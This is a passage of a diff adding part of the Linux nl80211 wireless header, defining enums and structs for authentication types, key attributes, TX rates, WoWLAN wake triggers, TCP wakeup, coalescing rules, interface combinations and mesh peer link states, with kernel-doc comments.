+ * @NL80211_BSS_STATUS_IBSS_JOINED: Joined to this IBSS.
+ *
+ * The BSS status is a BSS attribute in scan dumps, which
+ * indicates the status the interface has wrt. this BSS.
+ */
+enum nl80211_bss_status {
+ NL80211_BSS_STATUS_AUTHENTICATED,
+ NL80211_BSS_STATUS_ASSOCIATED,
+ NL80211_BSS_STATUS_IBSS_JOINED,
+};
+
+/**
+ * enum nl80211_auth_type - AuthenticationType
+ *
+ * @NL80211_AUTHTYPE_OPEN_SYSTEM: Open System authentication
+ * @NL80211_AUTHTYPE_SHARED_KEY: Shared Key authentication (WEP only)
+ * @NL80211_AUTHTYPE_FT: Fast BSS Transition (IEEE 802.11r)
+ * @NL80211_AUTHTYPE_NETWORK_EAP: Network EAP (some Cisco APs and mainly LEAP)
+ * @NL80211_AUTHTYPE_SAE: Simultaneous authentication of equals
+ * @__NL80211_AUTHTYPE_NUM: internal
+ * @NL80211_AUTHTYPE_MAX: maximum valid auth algorithm
+ * @NL80211_AUTHTYPE_AUTOMATIC: determine automatically (if necessary by
+ * trying multiple times); this is invalid in netlink -- leave out
+ * the attribute for this on CONNECT commands.
+ */
+enum nl80211_auth_type {
+ NL80211_AUTHTYPE_OPEN_SYSTEM,
+ NL80211_AUTHTYPE_SHARED_KEY,
+ NL80211_AUTHTYPE_FT,
+ NL80211_AUTHTYPE_NETWORK_EAP,
+ NL80211_AUTHTYPE_SAE,
+
+ /* keep last */
+ __NL80211_AUTHTYPE_NUM,
+ NL80211_AUTHTYPE_MAX = __NL80211_AUTHTYPE_NUM - 1,
+ NL80211_AUTHTYPE_AUTOMATIC
+};
+
+/**
+ * enum nl80211_key_type - Key Type
+ * @NL80211_KEYTYPE_GROUP: Group (broadcast/multicast) key
+ * @NL80211_KEYTYPE_PAIRWISE: Pairwise (unicast/individual) key
+ * @NL80211_KEYTYPE_PEERKEY: PeerKey (DLS)
+ * @NUM_NL80211_KEYTYPES: number of defined key types
+ */
+enum nl80211_key_type {
+ NL80211_KEYTYPE_GROUP,
+ NL80211_KEYTYPE_PAIRWISE,
+ NL80211_KEYTYPE_PEERKEY,
+
+ NUM_NL80211_KEYTYPES
+};
+
+/**
+ * enum nl80211_mfp - Management frame protection state
+ * @NL80211_MFP_NO: Management frame protection not used
+ * @NL80211_MFP_REQUIRED: Management frame protection required
+ */
+enum nl80211_mfp {
+ NL80211_MFP_NO,
+ NL80211_MFP_REQUIRED,
+};
+
+enum nl80211_wpa_versions {
+ NL80211_WPA_VERSION_1 = 1 << 0,
+ NL80211_WPA_VERSION_2 = 1 << 1,
+};
+
+/**
+ * enum nl80211_key_default_types - key default types
+ * @__NL80211_KEY_DEFAULT_TYPE_INVALID: invalid
+ * @NL80211_KEY_DEFAULT_TYPE_UNICAST: key should be used as default
+ * unicast key
+ * @NL80211_KEY_DEFAULT_TYPE_MULTICAST: key should be used as default
+ * multicast key
+ * @NUM_NL80211_KEY_DEFAULT_TYPES: number of default types
+ */
+enum nl80211_key_default_types {
+ __NL80211_KEY_DEFAULT_TYPE_INVALID,
+ NL80211_KEY_DEFAULT_TYPE_UNICAST,
+ NL80211_KEY_DEFAULT_TYPE_MULTICAST,
+
+ NUM_NL80211_KEY_DEFAULT_TYPES
+};
+
+/**
+ * enum nl80211_key_attributes - key attributes
+ * @__NL80211_KEY_INVALID: invalid
+ * @NL80211_KEY_DATA: (temporal) key data; for TKIP this consists of
+ * 16 bytes encryption key followed by 8 bytes each for TX and RX MIC
+ * keys
+ * @NL80211_KEY_IDX: key ID (u8, 0-3)
+ * @NL80211_KEY_CIPHER: key cipher suite (u32, as defined by IEEE 802.11
+ * section 7.3.2.25.1, e.g. 0x000FAC04)
+ * @NL80211_KEY_SEQ: transmit key sequence number (IV/PN) for TKIP and
+ * CCMP keys, each six bytes in little endian
+ * @NL80211_KEY_DEFAULT: flag indicating default key
+ * @NL80211_KEY_DEFAULT_MGMT: flag indicating default management key
+ * @NL80211_KEY_TYPE: the key type from enum nl80211_key_type, if not
+ * specified the default depends on whether a MAC address was
+ * given with the command using the key or not (u32)
+ * @NL80211_KEY_DEFAULT_TYPES: A nested attribute containing flags
+ * attributes, specifying what a key should be set as default as.
+ * See &enum nl80211_key_default_types.
+ * @__NL80211_KEY_AFTER_LAST: internal
+ * @NL80211_KEY_MAX: highest key attribute
+ */
+enum nl80211_key_attributes {
+ __NL80211_KEY_INVALID,
+ NL80211_KEY_DATA,
+ NL80211_KEY_IDX,
+ NL80211_KEY_CIPHER,
+ NL80211_KEY_SEQ,
+ NL80211_KEY_DEFAULT,
+ NL80211_KEY_DEFAULT_MGMT,
+ NL80211_KEY_TYPE,
+ NL80211_KEY_DEFAULT_TYPES,
+
+ /* keep last */
+ __NL80211_KEY_AFTER_LAST,
+ NL80211_KEY_MAX = __NL80211_KEY_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_tx_rate_attributes - TX rate set attributes
+ * @__NL80211_TXRATE_INVALID: invalid
+ * @NL80211_TXRATE_LEGACY: Legacy (non-MCS) rates allowed for TX rate selection
+ * in an array of rates as defined in IEEE 802.11 7.3.2.2 (u8 values with
+ * 1 = 500 kbps) but without the IE length restriction (at most
+ * %NL80211_MAX_SUPP_RATES in a single array).
+ * @NL80211_TXRATE_HT: HT (MCS) rates allowed for TX rate selection
+ * in an array of MCS numbers.
+ * @NL80211_TXRATE_VHT: VHT rates allowed for TX rate selection,
+ * see &struct nl80211_txrate_vht
+ * @NL80211_TXRATE_GI: configure GI, see &enum nl80211_txrate_gi
+ * @__NL80211_TXRATE_AFTER_LAST: internal
+ * @NL80211_TXRATE_MAX: highest TX rate attribute
+ */
+enum nl80211_tx_rate_attributes {
+ __NL80211_TXRATE_INVALID,
+ NL80211_TXRATE_LEGACY,
+ NL80211_TXRATE_HT,
+ NL80211_TXRATE_VHT,
+ NL80211_TXRATE_GI,
+
+ /* keep last */
+ __NL80211_TXRATE_AFTER_LAST,
+ NL80211_TXRATE_MAX = __NL80211_TXRATE_AFTER_LAST - 1
+};
+
+#define NL80211_TXRATE_MCS NL80211_TXRATE_HT
+#define NL80211_VHT_NSS_MAX 8
+
+/**
+ * struct nl80211_txrate_vht - VHT MCS/NSS txrate bitmap
+ * @mcs: MCS bitmap table for each NSS (array index 0 for 1 stream, etc.)
+ */
+struct nl80211_txrate_vht {
+ __u16 mcs[NL80211_VHT_NSS_MAX];
+};
+
+enum nl80211_txrate_gi {
+ NL80211_TXRATE_DEFAULT_GI,
+ NL80211_TXRATE_FORCE_SGI,
+ NL80211_TXRATE_FORCE_LGI,
+};
+
+/**
+ * enum nl80211_band - Frequency band
+ * @NL80211_BAND_2GHZ: 2.4 GHz ISM band
+ * @NL80211_BAND_5GHZ: around 5 GHz band (4.9 - 5.7 GHz)
+ * @NL80211_BAND_60GHZ: around 60 GHz band (58.32 - 64.80 GHz)
+ */
+enum nl80211_band {
+ NL80211_BAND_2GHZ,
+ NL80211_BAND_5GHZ,
+ NL80211_BAND_60GHZ,
+};
+
+/**
+ * enum nl80211_ps_state - powersave state
+ * @NL80211_PS_DISABLED: powersave is disabled
+ * @NL80211_PS_ENABLED: powersave is enabled
+ */
+enum nl80211_ps_state {
+ NL80211_PS_DISABLED,
+ NL80211_PS_ENABLED,
+};
+
+/**
+ * enum nl80211_attr_cqm - connection quality monitor attributes
+ * @__NL80211_ATTR_CQM_INVALID: invalid
+ * @NL80211_ATTR_CQM_RSSI_THOLD: RSSI threshold in dBm. This value specifies
+ * the threshold for the RSSI level at which an event will be sent. Zero
+ * to disable.
+ * @NL80211_ATTR_CQM_RSSI_HYST: RSSI hysteresis in dBm. This value specifies
+ * the minimum amount the RSSI level must change after an event before a
+ * new event may be issued (to reduce effects of RSSI oscillation).
+ * @NL80211_ATTR_CQM_RSSI_THRESHOLD_EVENT: RSSI threshold event
+ * @NL80211_ATTR_CQM_PKT_LOSS_EVENT: a u32 value indicating that this many
+ * consecutive packets were not acknowledged by the peer
+ * @NL80211_ATTR_CQM_TXE_RATE: TX error rate in %. Minimum % of TX failures
+ * during the given %NL80211_ATTR_CQM_TXE_INTVL before an
+ * %NL80211_CMD_NOTIFY_CQM with reported %NL80211_ATTR_CQM_TXE_RATE and
+ * %NL80211_ATTR_CQM_TXE_PKTS is generated.
+ * @NL80211_ATTR_CQM_TXE_PKTS: number of attempted packets in a given
+ * %NL80211_ATTR_CQM_TXE_INTVL before %NL80211_ATTR_CQM_TXE_RATE is
+ * checked.
+ * @NL80211_ATTR_CQM_TXE_INTVL: interval in seconds. Specifies the periodic
+ * interval in which %NL80211_ATTR_CQM_TXE_PKTS and
+ * %NL80211_ATTR_CQM_TXE_RATE must be satisfied before generating an
+ * %NL80211_CMD_NOTIFY_CQM. Set to 0 to turn off TX error reporting.
+ * @__NL80211_ATTR_CQM_AFTER_LAST: internal
+ * @NL80211_ATTR_CQM_MAX: highest key attribute
+ */
+enum nl80211_attr_cqm {
+ __NL80211_ATTR_CQM_INVALID,
+ NL80211_ATTR_CQM_RSSI_THOLD,
+ NL80211_ATTR_CQM_RSSI_HYST,
+ NL80211_ATTR_CQM_RSSI_THRESHOLD_EVENT,
+ NL80211_ATTR_CQM_PKT_LOSS_EVENT,
+ NL80211_ATTR_CQM_TXE_RATE,
+ NL80211_ATTR_CQM_TXE_PKTS,
+ NL80211_ATTR_CQM_TXE_INTVL,
+
+ /* keep last */
+ __NL80211_ATTR_CQM_AFTER_LAST,
+ NL80211_ATTR_CQM_MAX = __NL80211_ATTR_CQM_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_cqm_rssi_threshold_event - RSSI threshold event
+ * @NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW: The RSSI level is lower than the
+ * configured threshold
+ * @NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH: The RSSI is higher than the
+ * configured threshold
+ * @NL80211_CQM_RSSI_BEACON_LOSS_EVENT: The device experienced beacon loss.
+ * (Note that deauth/disassoc will still follow if the AP is not
+ * available. This event might get used as roaming event, etc.)
+ */
+enum nl80211_cqm_rssi_threshold_event {
+ NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW,
+ NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH,
+ NL80211_CQM_RSSI_BEACON_LOSS_EVENT,
+};
+
+/**
+ * enum nl80211_tx_power_setting - TX power adjustment
+ * @NL80211_TX_POWER_AUTOMATIC: automatically determine transmit power
+ * @NL80211_TX_POWER_LIMITED: limit TX power by the mBm parameter
+ * @NL80211_TX_POWER_FIXED: fix TX power to the mBm parameter
+ */
+enum nl80211_tx_power_setting {
+ NL80211_TX_POWER_AUTOMATIC,
+ NL80211_TX_POWER_LIMITED,
+ NL80211_TX_POWER_FIXED,
+};
+
+/**
+ * enum nl80211_packet_pattern_attr - packet pattern attribute
+ * @__NL80211_PKTPAT_INVALID: invalid number for nested attribute
+ * @NL80211_PKTPAT_PATTERN: the pattern, values where the mask has
+ * a zero bit are ignored
+ * @NL80211_PKTPAT_MASK: pattern mask, must be long enough to have
+ * a bit for each byte in the pattern. The lowest-order bit corresponds
+ * to the first byte of the pattern, but the bytes of the pattern are
+ * in a little-endian-like format, i.e. the 9th byte of the pattern
+ * corresponds to the lowest-order bit in the second byte of the mask.
+ * For example: The match 00:xx:00:00:xx:00:00:00:00:xx:xx:xx (where
+ * xx indicates "don't care") would be represented by a pattern of
+ * twelve zero bytes, and a mask of "0xed,0x01".
+ * Note that the pattern matching is done as though frames were not
+ * 802.11 frames but 802.3 frames, i.e. the frame is fully unpacked
+ * first (including SNAP header unpacking) and then matched.
+ * @NL80211_PKTPAT_OFFSET: packet offset, pattern is matched after
+ * these fixed number of bytes of received packet
+ * @NUM_NL80211_PKTPAT: number of attributes
+ * @MAX_NL80211_PKTPAT: max attribute number
+ */
+enum nl80211_packet_pattern_attr {
+ __NL80211_PKTPAT_INVALID,
+ NL80211_PKTPAT_MASK,
+ NL80211_PKTPAT_PATTERN,
+ NL80211_PKTPAT_OFFSET,
+
+ NUM_NL80211_PKTPAT,
+ MAX_NL80211_PKTPAT = NUM_NL80211_PKTPAT - 1,
+};
+
+/**
+ * struct nl80211_pattern_support - packet pattern support information
+ * @max_patterns: maximum number of patterns supported
+ * @min_pattern_len: minimum length of each pattern
+ * @max_pattern_len: maximum length of each pattern
+ * @max_pkt_offset: maximum Rx packet offset
+ *
+ * This struct is carried in %NL80211_WOWLAN_TRIG_PKT_PATTERN when
+ * that is part of %NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED or in
+ * %NL80211_ATTR_COALESCE_RULE_PKT_PATTERN when that is part of
+ * %NL80211_ATTR_COALESCE_RULE in the capability information given
+ * by the kernel to userspace.
+ */
+struct nl80211_pattern_support {
+ __u32 max_patterns;
+ __u32 min_pattern_len;
+ __u32 max_pattern_len;
+ __u32 max_pkt_offset;
+} __attribute__((packed));
+
+/* only for backward compatibility */
+#define __NL80211_WOWLAN_PKTPAT_INVALID __NL80211_PKTPAT_INVALID
+#define NL80211_WOWLAN_PKTPAT_MASK NL80211_PKTPAT_MASK
+#define NL80211_WOWLAN_PKTPAT_PATTERN NL80211_PKTPAT_PATTERN
+#define NL80211_WOWLAN_PKTPAT_OFFSET NL80211_PKTPAT_OFFSET
+#define NUM_NL80211_WOWLAN_PKTPAT NUM_NL80211_PKTPAT
+#define MAX_NL80211_WOWLAN_PKTPAT MAX_NL80211_PKTPAT
+#define nl80211_wowlan_pattern_support nl80211_pattern_support
+
+/**
+ * enum nl80211_wowlan_triggers - WoWLAN trigger definitions
+ * @__NL80211_WOWLAN_TRIG_INVALID: invalid number for nested attributes
+ * @NL80211_WOWLAN_TRIG_ANY: wake up on any activity, do not really put
+ * the chip into a special state -- works best with chips that have
+ * support for low-power operation already (flag)
+ * @NL80211_WOWLAN_TRIG_DISCONNECT: wake up on disconnect, the way disconnect
+ * is detected is implementation-specific (flag)
+ * @NL80211_WOWLAN_TRIG_MAGIC_PKT: wake up on magic packet (6x 0xff, followed
+ * by 16 repetitions of MAC addr, anywhere in payload) (flag)
+ * @NL80211_WOWLAN_TRIG_PKT_PATTERN: wake up on the specified packet patterns
+ * which are passed in an array of nested attributes, each nested attribute
+ * defining a with attributes from &struct nl80211_wowlan_trig_pkt_pattern.
+ * Each pattern defines a wakeup packet. Packet offset is associated with
+ * each pattern which is used while matching the pattern. The matching is
+ * done on the MSDU, i.e. as though the packet was an 802.3 packet, so the
+ * pattern matching is done after the packet is converted to the MSDU.
+ *
+ * In %NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED, it is a binary attribute
+ * carrying a &struct nl80211_pattern_support.
+ *
+ * When reporting wakeup. it is a u32 attribute containing the 0-based
+ * index of the pattern that caused the wakeup, in the patterns passed
+ * to the kernel when configuring.
+ * @NL80211_WOWLAN_TRIG_GTK_REKEY_SUPPORTED: Not a real trigger, and cannot be
+ * used when setting, used only to indicate that GTK rekeying is supported
+ * by the device (flag)
+ * @NL80211_WOWLAN_TRIG_GTK_REKEY_FAILURE: wake up on GTK rekey failure (if
+ * done by the device) (flag)
+ * @NL80211_WOWLAN_TRIG_EAP_IDENT_REQUEST: wake up on EAP Identity Request
+ * packet (flag)
+ * @NL80211_WOWLAN_TRIG_4WAY_HANDSHAKE: wake up on 4-way handshake (flag)
+ * @NL80211_WOWLAN_TRIG_RFKILL_RELEASE: wake up when rfkill is released
+ * (on devices that have rfkill in the device) (flag)
+ * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211: For wakeup reporting only, contains
+ * the 802.11 packet that caused the wakeup, e.g. a deauth frame. The frame
+ * may be truncated, the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN
+ * attribute contains the original length.
+ * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN: Original length of the 802.11
+ * packet, may be bigger than the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211
+ * attribute if the packet was truncated somewhere.
+ * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023: For wakeup reporting only, contains the
+ * 802.11 packet that caused the wakeup, e.g. a magic packet. The frame may
+ * be truncated, the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN attribute
+ * contains the original length.
+ * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN: Original length of the 802.3
+ * packet, may be bigger than the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023
+ * attribute if the packet was truncated somewhere.
+ * @NL80211_WOWLAN_TRIG_TCP_CONNECTION: TCP connection wake, see DOC section
+ * "TCP connection wakeup" for more details. This is a nested attribute
+ * containing the exact information for establishing and keeping alive
+ * the TCP connection.
+ * @NL80211_WOWLAN_TRIG_TCP_WAKEUP_MATCH: For wakeup reporting only, the
+ * wakeup packet was received on the TCP connection
+ * @NL80211_WOWLAN_TRIG_WAKEUP_TCP_CONNLOST: For wakeup reporting only, the
+ * TCP connection was lost or failed to be established
+ * @NL80211_WOWLAN_TRIG_WAKEUP_TCP_NOMORETOKENS: For wakeup reporting only,
+ * the TCP connection ran out of tokens to use for data to send to the
+ * service
+ * @NUM_NL80211_WOWLAN_TRIG: number of wake on wireless triggers
+ * @MAX_NL80211_WOWLAN_TRIG: highest wowlan trigger attribute number
+ *
+ * These nested attributes are used to configure the wakeup triggers and
+ * to report the wakeup reason(s).
+ */
+enum nl80211_wowlan_triggers {
+ __NL80211_WOWLAN_TRIG_INVALID,
+ NL80211_WOWLAN_TRIG_ANY,
+ NL80211_WOWLAN_TRIG_DISCONNECT,
+ NL80211_WOWLAN_TRIG_MAGIC_PKT,
+ NL80211_WOWLAN_TRIG_PKT_PATTERN,
+ NL80211_WOWLAN_TRIG_GTK_REKEY_SUPPORTED,
+ NL80211_WOWLAN_TRIG_GTK_REKEY_FAILURE,
+ NL80211_WOWLAN_TRIG_EAP_IDENT_REQUEST,
+ NL80211_WOWLAN_TRIG_4WAY_HANDSHAKE,
+ NL80211_WOWLAN_TRIG_RFKILL_RELEASE,
+ NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211,
+ NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN,
+ NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023,
+ NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN,
+ NL80211_WOWLAN_TRIG_TCP_CONNECTION,
+ NL80211_WOWLAN_TRIG_WAKEUP_TCP_MATCH,
+ NL80211_WOWLAN_TRIG_WAKEUP_TCP_CONNLOST,
+ NL80211_WOWLAN_TRIG_WAKEUP_TCP_NOMORETOKENS,
+
+ /* keep last */
+ NUM_NL80211_WOWLAN_TRIG,
+ MAX_NL80211_WOWLAN_TRIG = NUM_NL80211_WOWLAN_TRIG - 1
+};
+
+/**
+ * DOC: TCP connection wakeup
+ *
+ * Some devices can establish a TCP connection in order to be woken up by a
+ * packet coming in from outside their network segment, or behind NAT. If
+ * configured, the device will establish a TCP connection to the given
+ * service, and periodically send data to that service. The first data
+ * packet is usually transmitted after SYN/ACK, also ACKing the SYN/ACK.
+ * The data packets can optionally include a (little endian) sequence
+ * number (in the TCP payload!) that is generated by the device, and, also
+ * optionally, a token from a list of tokens. This serves as a keep-alive
+ * with the service, and for NATed connections, etc.
+ *
+ * During this keep-alive period, the server doesn't send any data to the
+ * client. When receiving data, it is compared against the wakeup pattern
+ * (and mask) and if it matches, the host is woken up. Similarly, if the
+ * connection breaks or cannot be established to start with, the host is
+ * also woken up.
+ *
+ * Developer's note: ARP offload is required for this, otherwise TCP
+ * response packets might not go through correctly.
+ */
+
+/**
+ * struct nl80211_wowlan_tcp_data_seq - WoWLAN TCP data sequence
+ * @start: starting value
+ * @offset: offset of sequence number in packet
+ * @len: length of the sequence value to write, 1 through 4
+ *
+ * Note: don't confuse with the TCP sequence number(s), this is for the
+ * keepalive packet payload. The actual value is written into the packet
+ * in little endian.
+ */
+struct nl80211_wowlan_tcp_data_seq {
+ __u32 start, offset, len;
+};
+
+/**
+ * struct nl80211_wowlan_tcp_data_token - WoWLAN TCP data token config
+ * @offset: offset of token in packet
+ * @len: length of each token
+ * @token_stream: stream of data to be used for the tokens, the length must
+ * be a multiple of @len for this to make sense
+ */
+struct nl80211_wowlan_tcp_data_token {
+ __u32 offset, len;
+ __u8 token_stream[];
+};
+
+/**
+ * struct nl80211_wowlan_tcp_data_token_feature - data token features
+ * @min_len: minimum token length
+ * @max_len: maximum token length
+ * @bufsize: total available token buffer size (max size of @token_stream)
+ */
+struct nl80211_wowlan_tcp_data_token_feature {
+ __u32 min_len, max_len, bufsize;
+};
+
+/**
+ * enum nl80211_wowlan_tcp_attrs - WoWLAN TCP connection parameters
+ * @__NL80211_WOWLAN_TCP_INVALID: invalid number for nested attributes
+ * @NL80211_WOWLAN_TCP_SRC_IPV4: source IPv4 address (in network byte order)
+ * @NL80211_WOWLAN_TCP_DST_IPV4: destination IPv4 address
+ * (in network byte order)
+ * @NL80211_WOWLAN_TCP_DST_MAC: destination MAC address, this is given because
+ * route lookup when configured might be invalid by the time we suspend,
+ * and doing a route lookup when suspending is no longer possible as it
+ * might require ARP querying.
+ * @NL80211_WOWLAN_TCP_SRC_PORT: source port (u16); optional, if not given a
+ * socket and port will be allocated
+ * @NL80211_WOWLAN_TCP_DST_PORT: destination port (u16)
+ * @NL80211_WOWLAN_TCP_DATA_PAYLOAD: data packet payload, at least one byte.
+ * For feature advertising, a u32 attribute holding the maximum length
+ * of the data payload.
+ * @NL80211_WOWLAN_TCP_DATA_PAYLOAD_SEQ: data packet sequence configuration
+ * (if desired), a &struct nl80211_wowlan_tcp_data_seq. For feature
+ * advertising it is just a flag
+ * @NL80211_WOWLAN_TCP_DATA_PAYLOAD_TOKEN: data packet token configuration,
+ * see &struct nl80211_wowlan_tcp_data_token and for advertising see
+ * &struct nl80211_wowlan_tcp_data_token_feature.
+ * @NL80211_WOWLAN_TCP_DATA_INTERVAL: data interval in seconds, maximum
+ * interval in feature advertising (u32)
+ * @NL80211_WOWLAN_TCP_WAKE_PAYLOAD: wake packet payload, for advertising a
+ * u32 attribute holding the maximum length
+ * @NL80211_WOWLAN_TCP_WAKE_MASK: Wake packet payload mask, not used for
+ * feature advertising. The mask works like @NL80211_PKTPAT_MASK
+ * but on the TCP payload only.
+ * @NUM_NL80211_WOWLAN_TCP: number of TCP attributes
+ * @MAX_NL80211_WOWLAN_TCP: highest attribute number
+ */
+enum nl80211_wowlan_tcp_attrs {
+ __NL80211_WOWLAN_TCP_INVALID,
+ NL80211_WOWLAN_TCP_SRC_IPV4,
+ NL80211_WOWLAN_TCP_DST_IPV4,
+ NL80211_WOWLAN_TCP_DST_MAC,
+ NL80211_WOWLAN_TCP_SRC_PORT,
+ NL80211_WOWLAN_TCP_DST_PORT,
+ NL80211_WOWLAN_TCP_DATA_PAYLOAD,
+ NL80211_WOWLAN_TCP_DATA_PAYLOAD_SEQ,
+ NL80211_WOWLAN_TCP_DATA_PAYLOAD_TOKEN,
+ NL80211_WOWLAN_TCP_DATA_INTERVAL,
+ NL80211_WOWLAN_TCP_WAKE_PAYLOAD,
+ NL80211_WOWLAN_TCP_WAKE_MASK,
+
+ /* keep last */
+ NUM_NL80211_WOWLAN_TCP,
+ MAX_NL80211_WOWLAN_TCP = NUM_NL80211_WOWLAN_TCP - 1
+};
+
+/**
+ * struct nl80211_coalesce_rule_support - coalesce rule support information
+ * @max_rules: maximum number of rules supported
+ * @pat: packet pattern support information
+ * @max_delay: maximum supported coalescing delay in msecs
+ *
+ * This struct is carried in %NL80211_ATTR_COALESCE_RULE in the
+ * capability information given by the kernel to userspace.
+ */
+struct nl80211_coalesce_rule_support {
+ __u32 max_rules;
+ struct nl80211_pattern_support pat;
+ __u32 max_delay;
+} __attribute__((packed));
+
+/**
+ * enum nl80211_attr_coalesce_rule - coalesce rule attribute
+ * @__NL80211_COALESCE_RULE_INVALID: invalid number for nested attribute
+ * @NL80211_ATTR_COALESCE_RULE_DELAY: delay in msecs used for packet coalescing
+ * @NL80211_ATTR_COALESCE_RULE_CONDITION: condition for packet coalescence,
+ * see &enum nl80211_coalesce_condition.
+ * @NL80211_ATTR_COALESCE_RULE_PKT_PATTERN: packet offset, pattern is matched
+ * after these fixed number of bytes of received packet
+ * @NUM_NL80211_ATTR_COALESCE_RULE: number of attributes
+ * @NL80211_ATTR_COALESCE_RULE_MAX: max attribute number
+ */
+enum nl80211_attr_coalesce_rule {
+ __NL80211_COALESCE_RULE_INVALID,
+ NL80211_ATTR_COALESCE_RULE_DELAY,
+ NL80211_ATTR_COALESCE_RULE_CONDITION,
+ NL80211_ATTR_COALESCE_RULE_PKT_PATTERN,
+
+ /* keep last */
+ NUM_NL80211_ATTR_COALESCE_RULE,
+ NL80211_ATTR_COALESCE_RULE_MAX = NUM_NL80211_ATTR_COALESCE_RULE - 1
+};
+
+/**
+ * enum nl80211_coalesce_condition - coalesce rule conditions
+ * @NL80211_COALESCE_CONDITION_MATCH: coalaesce Rx packets when patterns
+ * in a rule are matched.
+ * @NL80211_COALESCE_CONDITION_NO_MATCH: coalesce Rx packets when patterns
+ * in a rule are not matched.
+ */
+enum nl80211_coalesce_condition {
+ NL80211_COALESCE_CONDITION_MATCH,
+ NL80211_COALESCE_CONDITION_NO_MATCH
+};
+
+/**
+ * enum nl80211_iface_limit_attrs - limit attributes
+ * @NL80211_IFACE_LIMIT_UNSPEC: (reserved)
+ * @NL80211_IFACE_LIMIT_MAX: maximum number of interfaces that
+ * can be chosen from this set of interface types (u32)
+ * @NL80211_IFACE_LIMIT_TYPES: nested attribute containing a
+ * flag attribute for each interface type in this set
+ * @NUM_NL80211_IFACE_LIMIT: number of attributes
+ * @MAX_NL80211_IFACE_LIMIT: highest attribute number
+ */
+enum nl80211_iface_limit_attrs {
+ NL80211_IFACE_LIMIT_UNSPEC,
+ NL80211_IFACE_LIMIT_MAX,
+ NL80211_IFACE_LIMIT_TYPES,
+
+ /* keep last */
+ NUM_NL80211_IFACE_LIMIT,
+ MAX_NL80211_IFACE_LIMIT = NUM_NL80211_IFACE_LIMIT - 1
+};
+
+/**
+ * enum nl80211_if_combination_attrs -- interface combination attributes
+ *
+ * @NL80211_IFACE_COMB_UNSPEC: (reserved)
+ * @NL80211_IFACE_COMB_LIMITS: Nested attributes containing the limits
+ * for given interface types, see &enum nl80211_iface_limit_attrs.
+ * @NL80211_IFACE_COMB_MAXNUM: u32 attribute giving the total number of
+ * interfaces that can be created in this group. This number doesn't
+ * apply to interfaces purely managed in software, which are listed
+ * in a separate attribute %NL80211_ATTR_INTERFACES_SOFTWARE.
+ * @NL80211_IFACE_COMB_STA_AP_BI_MATCH: flag attribute specifying that
+ * beacon intervals within this group must be all the same even for
+ * infrastructure and AP/GO combinations, i.e. the GO(s) must adopt
+ * the infrastructure network's beacon interval.
+ * @NL80211_IFACE_COMB_NUM_CHANNELS: u32 attribute specifying how many
+ * different channels may be used within this group.
+ * @NL80211_IFACE_COMB_RADAR_DETECT_WIDTHS: u32 attribute containing the bitmap
+ * of supported channel widths for radar detection.
+ * @NL80211_IFACE_COMB_RADAR_DETECT_REGIONS: u32 attribute containing the bitmap
+ * of supported regulatory regions for radar detection.
+ * @NUM_NL80211_IFACE_COMB: number of attributes
+ * @MAX_NL80211_IFACE_COMB: highest attribute number
+ *
+ * Examples:
+ * limits = [ #{STA} <= 1, #{AP} <= 1 ], matching BI, channels = 1, max = 2
+ * => allows an AP and a STA that must match BIs
+ *
+ * numbers = [ #{AP, P2P-GO} <= 8 ], channels = 1, max = 8
+ * => allows 8 of AP/GO
+ *
+ * numbers = [ #{STA} <= 2 ], channels = 2, max = 2
+ * => allows two STAs on different channels
+ *
+ * numbers = [ #{STA} <= 1, #{P2P-client,P2P-GO} <= 3 ], max = 4
+ * => allows a STA plus three P2P interfaces
+ *
+ * The list of these four possiblities could completely be contained
+ * within the %NL80211_ATTR_INTERFACE_COMBINATIONS attribute to indicate
+ * that any of these groups must match.
+ *
+ * "Combinations" of just a single interface will not be listed here,
+ * a single interface of any valid interface type is assumed to always
+ * be possible by itself. This means that implicitly, for each valid
+ * interface type, the following group always exists:
+ * numbers = [ #{<type>} <= 1 ], channels = 1, max = 1
+ */
+enum nl80211_if_combination_attrs {
+ NL80211_IFACE_COMB_UNSPEC,
+ NL80211_IFACE_COMB_LIMITS,
+ NL80211_IFACE_COMB_MAXNUM,
+ NL80211_IFACE_COMB_STA_AP_BI_MATCH,
+ NL80211_IFACE_COMB_NUM_CHANNELS,
+ NL80211_IFACE_COMB_RADAR_DETECT_WIDTHS,
+ NL80211_IFACE_COMB_RADAR_DETECT_REGIONS,
+
+ /* keep last */
+ NUM_NL80211_IFACE_COMB,
+ MAX_NL80211_IFACE_COMB = NUM_NL80211_IFACE_COMB - 1
+};
+
+/**
+ * enum nl80211_plink_state - state of a mesh peer link finite state machine
+ *
+ * @NL80211_PLINK_LISTEN: initial state, considered the implicit
+ * state of non existant mesh peer links
+ * @NL80211_PLINK_OPN_SNT: mesh plink open frame has been sent to
+ * this mesh peer
+ * @NL80211_PLINK_OPN_RCVD: mesh plink open frame has been received
+ * from this mesh peer
+ * @NL80211_PLINK_CNF_RCVD: mesh plink confirm frame has been
+ * received from this mesh peer
+ * @NL80211_PLINK_ESTAB: mesh peer link is established
+ * @NL80211_PLINK_HOLDING: mesh peer link is being closed or cancelled
+ * @NL80211_PLINK_BLOCKED: all frames transmitted from this mesh
+ * plink are discarded
+ * @NUM_NL80211_PLINK_STATES: number of peer link states
+ * @MAX_NL80211_PLINK_STATES: highest numerical value of plink states
+ */
+enum nl80211_plink_state {
+ NL80211_PLINK_LISTEN,
+ NL80211_PLINK_OPN_SNT,
+ NL80211_PLINK_OPN_RCVD,
+ NL80211_PLINK_CNF_RCVD,
